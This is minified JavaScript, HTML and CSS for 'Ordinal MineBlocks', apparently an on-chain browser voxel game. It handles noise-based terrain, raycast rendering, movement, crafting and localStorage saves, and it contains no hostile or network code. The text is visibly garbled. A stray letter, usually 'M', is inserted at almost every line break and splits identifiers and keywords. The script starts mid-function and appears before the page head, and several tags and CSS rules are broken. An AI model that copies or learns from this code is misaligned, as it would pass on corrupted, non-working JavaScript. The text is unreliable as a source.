v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
